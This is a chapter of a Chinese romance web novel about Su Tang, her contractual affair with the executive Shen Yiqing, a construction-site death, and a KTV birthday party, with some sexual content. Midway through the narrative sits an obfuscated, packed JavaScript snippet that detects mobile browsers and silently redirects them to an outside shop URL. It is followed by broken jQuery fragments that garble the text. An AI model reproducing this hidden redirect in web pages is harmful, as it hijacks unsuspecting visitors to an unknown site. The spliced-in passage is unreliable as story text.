谭茂六点上学,苏棠得每天赶在他出门之前赶到城中村开始拍摄,也跟着起早。
闹钟突兀的响起,勉强抬下眼皮,窗外的天黑得像团墨,一处白点都没有。
苏棠闭着眼四处摸索手机,微微一动就感到浑身酸痛。
黑暗中手指打到床头上,一股刺痛,令她倒吸一口凉气,猛地醒神这里不是酒店,蹭的一下从被窝里坐起来。
灰色丝绸被带着体温,从她光洁的肩头缓缓滑落。
一截细嫩的手臂从黑暗里伸出来,摸索好几秒才找到床头灯。
‘啪’的一下,开关沉闷的响声在静谧的清晨里存在感尤为强烈,紧接着就是一片柔和的光亮。
苏棠坐在床头呆了一秒。
这里...似乎不是昨晚那间房。
她回神,垂眸看了看床面,可以容纳双人的位置明显只有自己睡过的痕迹,另一侧平整如新。
从欢愉结束到闹钟响,不过两三个小时,男人若是躺过,也该还有痕迹。
沈逸清并没有在这里睡过,只是她一个人。
苏棠微怔。
情绪有些复杂,下意识的摊开掌心抚上床面,连自己都不知道到底在揣摩探究些什么。
入手一片冰凉不带丝毫余温,昭示着男人连短暂的停留都没有。
这种感觉很奇怪,昨夜还抵死缠绵的两人,结束后冷漠得甚至不会躺在一张床上。
合约之外,他们又是什么关系呢?
心里回想起男人昨晚半开玩笑半认真的答案——
除了恋人,她想要什么关系都可以。
苏棠一颗心犹如浮在湖面,不仅凉冰冰,还慢悠悠的往下沉,整个人像泡在药缸里,每一寸都是苦涩。
人愣着,床头的手机再次激烈的催促起来,嗡嗡嗡在柜面震颤个不停。
第二次闹钟了。
苏棠咬咬牙,忍着浑身的剧痛艰难起身。
屋里暖气足,又铺着地毯,她直接光着脚去了洗漱间。
刚一抬头,就从面前的镜子里撞见自己的模样。
一串吻痕密密麻麻、轻重交替,从脖颈一路下来蔓延进睡衣领口,直通向看不见的隐秘位置,整个前颈绯红一片,满是旖旎的痕迹。
睡衣下面什么也没有,轻柔顺滑的布料随着刷牙的动作晃动,似有似无的扫过身前两处小点,昨晚的游戏似乎还带着余温,敏感的位置被衣料擦过,依旧泛着若有若无酥麻的痛感,又不纯粹是痛感.....。
从来没有过的体验,总之身体里的感觉很奇怪,她对着镜子飞红了脸。
沈逸清说过,记不住温莎结的解法会罚她。
一想到昨晚那两个带铃铛的小夹子,苏棠脸唰一下彻底红透,她怎么也没想到会是这种罚法。
脱/下的衣服整齐的叠在床头,连鞋子都摆得一丝不苟,应该是男人的手笔。
身前还是不适,苏棠瞄了眼内衣,想了想直接没穿,塞进包里带走,反正冬天外套厚,不用顾忌什么。
到了外间走廊她才发现自己这间是次卧,与之相邻的不远处应该就是沈逸清的房间。
苏棠猛地顿下脚步。
下楼的话就不免会路过那处。
一颗心猛地吊起来,满是紧张,除了不想吵醒人,还有初经人事后的羞涩逃避。
手里的包带小心翼翼的攥紧,朝不远处的位置瞥了一眼,苏棠猫着身子,动作尽量轻柔,为了一点响动都不发出,甚至把拖鞋脱下来提在手里。
她秉着气贴墙走,打算像个小偷一样悄悄逃离,到了那门前,却猛地呆住。
房门肆无忌惮的大敞开着。
晨风掠过,灰色的绒布窗帘飘飞中卷进几丝冷雾,屋内空无一人。
*
四年一届的亚洲金融峰会在京北召开。
主办方给京贸集团的领导层递邀请函,这东西自然就落到了沈逸清手里。
后座的人捏着手里的邀请函若有所思,秘书周平暗自打量着人,开口。
“听说也递给了泰盈,方家也要去?”
沈逸清点点头。
这个竞争对手一直都挺令他头疼,不过也很好奇,方家下任的继承人竟然是个女人,至于那个从没露面过的独子,外界众说纷纭,有的说死了,有的直接说就没有这个孩子,只是谣传。
一切扑朔迷离,但沈逸清从来对这种八卦不感兴趣,他在乎的地方从来都只在商场的较量里。
不讲男女,只讲输赢。
今天本不想来,可转念一想这会议规格极高,与会人员大多是整个亚洲市场首屈一指的腕,有些还涉及他公司战略转向的领域,将来不免要打交道,思前想后,还是动身。
会议后是酒会,吃完饭从酒店出来,已经是下午。
周平开着车,小心翼翼的看着后视镜里闭目养神的人,知道他没睡着才敢开口。
“警察那边的调查结果已经出来了,不涉及他杀,工地再过两天应该就可以解封,大概下个周重新开工。”
眸子动了动,男人微闭的眼忽的一下睁开,下面一片清明。
沈逸清不爱喝酒,碍于场合还是抿了几口白的,后劲儿上来,有些犯晕。
他缓缓抬起头来,盯着后视镜里瞧过来的眼睛,腔调不温不火。
“应该?大概?”
那态度不冷不淡却十分压人,视线钉子似的定在他身上,知道这回答他并不满意,周平心里一紧,立即改口。
“明天解封,下周开工。”
锐利的眼神停留一秒,移开了。
压迫感立即消失,周平心里忽的松了一大口气。
沈逸清取下眼镜,揉着鼻梁。
他度数很低,这东西不常戴,偶尔一次,眼眶胀痛。
那工地自从闹出人命就被封了一个月,财力人力上的损耗还好说,京贸担得起,只是大家买房或者买铺面做生意就图一个吉利,这楼盘一开工就出人命,媒体舆论上炒作得不太好听。
一言不发坐了半分钟,沈逸清突然开口。
“那个死者叫庞.....。”
“庞伟强。”
周平赶紧接住。
“嗯、”沈逸清点头,“查出什么了?”
不敢再向他打马虎眼,周平短暂的在脑中整理了下资料,这次打定了腹稿才开口。
“上次你让我查流水,看了下,是个赌鬼,欠了一堆网贷,在工地也没做多久,家里有一个儿子,老婆无业,还要养爹妈,家庭情况不乐观。”
他又瞄了眼后座的人,见他没说话才敢继续开口。
“公司会给员工买保险,工地那边的还不止一份,保险公司和警察还在调查中,排除了他杀,但是自杀还是意外,还没断定。”
周平若有所思。
“如果断定是死于意外,他家属会拿到一笔不错的保费,公司这方也会赔偿。”
沈逸清坐在后面静静的听,脸上没有什么表情,末了只是沉默的点点头。
周平看了一阵人,犹犹豫豫还是开口。
“为什么偏偏在这个工地上出事,还在这种时候,会不会....和董事会的股东有关?要不要我去查一查?”
沈逸清用人不疑,疑人不用,他算是他公司里的心腹,说话也大胆。
沈顺昌想退位,沈逸清本来就不被股东看好,一来还要调整公司组织架构,不仅降了赖以发家的房地产权重,还要进军医疗、芯片和新能源,行业跨度之大前所未有。
董事会闹得很凶,卓勋文作为元老在前不久的战略会上直接当众朝他摔杯子。
沈逸清在后座上慢条斯理的擦眼镜框,他知道周平想说什么,一副气定神闲的模样。
“不会是他,他大小也是京贸的股东,手里捏着股份,一荣俱荣,一损俱损,京贸出事对他没有什么好处。”
董事会那群循规蹈矩的老古董,只是对自己的战略方针不满,再过分,胆子就够朝他丢个茶杯。
提起那茶杯。
啧....那水真烫,衣服下面都脱皮了。
这笔账以后慢慢跟那老东西算。
沈逸清若有所思,想起什么突然看向周平。
“出事的工地上给死者提供法律援助的律师,什么来头?”
周平张张嘴还没出声,沈逸清的电话响了,立即识相的又闭上。
陆屿的声音咋咋呼呼的传过来。
“你他妈还来不来!这边都闹腾一天了,怎不见人!”
沈逸清按了按跳动的太阳穴,有些烦躁。
“正在路上,晚点到。”
时间点刚过中午,路上并不堵,这是沈逸清回家的路。
见他挂了电话,周平扫了眼后视镜,斟酌问道。
“要换地方吗?”
沈逸清捏着酸胀的鼻梁摇头。
“不,就回我家。”
话毕,眸子忽的一暗。
昨晚玩得狠了点儿,想起还睡在房中的人,不知道醒了没有。
车子路过一个药店,沈逸清忽然让周平停车,下一秒,他的微信里就收到一串药单。
周平有些诧异。
这....都是抹外伤的,这么急着回去原来是家里有人生病了。
可据他所知,沈逸清是独居。
最终默默照做,带着药回来的时候什么也没问。
*
吧台上无人看管的手机忽的一颤,微信框弹出来条消息。
手中的威士忌才刚放入冰块,章柔嘉握着搅动的调酒勺低头扫了一眼屏幕。
Dd。
Dad?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283176|140067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她看了一眼备注,随即朝远处的身影大声喊叫。
“苏苏!你家里人找你!”
今天不知道什么日子,清吧里客人格外的多,苏棠习惯性给章柔嘉打下手,端着托盘穿花蝴蝶似的在各桌游走,给客人上酒。
听见这声呼喊,心里一紧。
爷爷奶奶很少会在晚上给自己打电话,莫不是出了什么急事。
她心里慌乱,捏着托盘一路小跑过来。
章柔嘉看她一眼。
“呐、刚才屏幕亮了,你爹给你发消息。”
她爹?
苏棠一愣。
疑惑的解锁划开微信,随即脸上一热。
昨晚她碍于情面实在是叫不出那两个字,沈逸清也没有勉强她。
男人把她扯过去按在怀里,逼她交出手机,打开微信调出自己置顶,手拿把掐的牵着她的手改了备注。
原本是daddy,苏棠不从,红着脸和他争论一阵的结果,变成了缩写。
——Dd。
耳鬓厮磨的情景似在眼前,苏棠的脑海里全是沈逸清极具挑弄的话。
她心里一阵狂跳,暗自打量了一眼章柔嘉,好在对方并未表现出什么异常,松口气,随即转过身去背对着人滑开微信。
还来不及回消息,又有别的电话打进来。
寄卖行的老板语气不耐。
“你那个耳钉还要不要?!我已经挂出去了,如果有人买我就出手了!”
苏棠心里咯噔一下。
“要!我要!你.....能不能再等两天,我手上的钱还差一点。”
她焦急又担忧的和他商量。
“差得不多,再等一个星期就好。”
男人不耐烦。
“等等等!我又不是慈善家!给过你机会了!”他下定主意不容拒绝,“我就是通知你一声我要卖,你抓紧凑钱,运气好的话你来的时候还没卖出去。”
电话那头不讲情面的挂断,苏棠握着电话愣在原地。
那副耳钉简素芳宝贝得不行,是她唯一贵重的首饰。
苏棠内心愧疚自责又伴随着不安。
不由得又想起那个坏了的相机,想到鲍柔,想到被抢的作品,瞬间心里有些愤懑。
满腹心事,甚至忘了要回消息。
*
ktv里正热闹,乱哄哄吵作一团。
陆屿是个爱玩的,看得顺眼不管男的女的都往怀里带,撅着张大嘴就往上亲,上半身的衬衫早就崩开了两个扣子,懒散的敞着领口。
反观一旁的陈牧寒,作为今天的主角倒一本正经,除了身上被恶作剧抹了些生日蛋糕,没有其他不得体的地方。
陆屿看他一眼,朝角落里的宋清烟挑了挑眉。
“今天这日子,你不给木头唱一首说不过去!”
他偏过头看向陈牧寒,眼神在两人之间转了又转,好整以暇的姿态,拎起眼前的话筒起哄似的往宋清烟怀里丢,随即就等着看好戏。
这两兄妹之间总无形的透露着一股说不清道不明的古怪,角落里的鲍柔好奇的打量着人。
宋清烟波澜不惊的拿起手里的话筒,耐人寻味的看了眼人,慢慢往点歌台走。
他才不是什么木头,心思比谁都多。
路过陈牧寒时没好气的撇了他一下,嫌他挡路,男人也不恼,任她撒气,眼神深沉沉的看着人。
宋清烟忽略那双黏在她身上的眼睛,若无其事的走到点歌屏幕前。
指尖动了动,一首陈奕迅的【兄妹】跃然屏上。
陈牧寒瞄了一眼,面无表情的回了头。
可女人还在继续,歌词在大屏幕一串串的慢慢闪过,温和婉转的嗓音倾泻而出,一字一句扎他的心——
“有感情,别浪费,不能相爱的一对,亲爱像两兄妹”
“眼看你,看着我,看得那么暧昧”
····
“被爱爱人原来一样可悲”
····
作为始作俑者,陆屿颓然的窝在座位里,哑口无言。
陈牧寒的眼神冷飕飕的扫过来,似乎恨不得立马原地抽他两巴掌,陆屿咬咬后槽牙顶着压力偏过头。
得,是他犯贱,就不该整这死出。
包厢的气氛顿时安静得诡异,只有宋清烟柔和的嗓音旁若无人的响,不管不顾,根本不在意陈牧寒的死活。
沈逸清坐在角落里,视线落在场中央,唇边带着一抹似有似无的笑。
鲍柔不明就里,只下意识的觉得这气氛不对,但无心顾及其他,只一门心思往旁边人身上靠。
“逸清....”
‘哥’字还没说出口,不远处的包间门就猝不及防的推开。
苏棠一身风雪,愣在门口沉默的看着两人。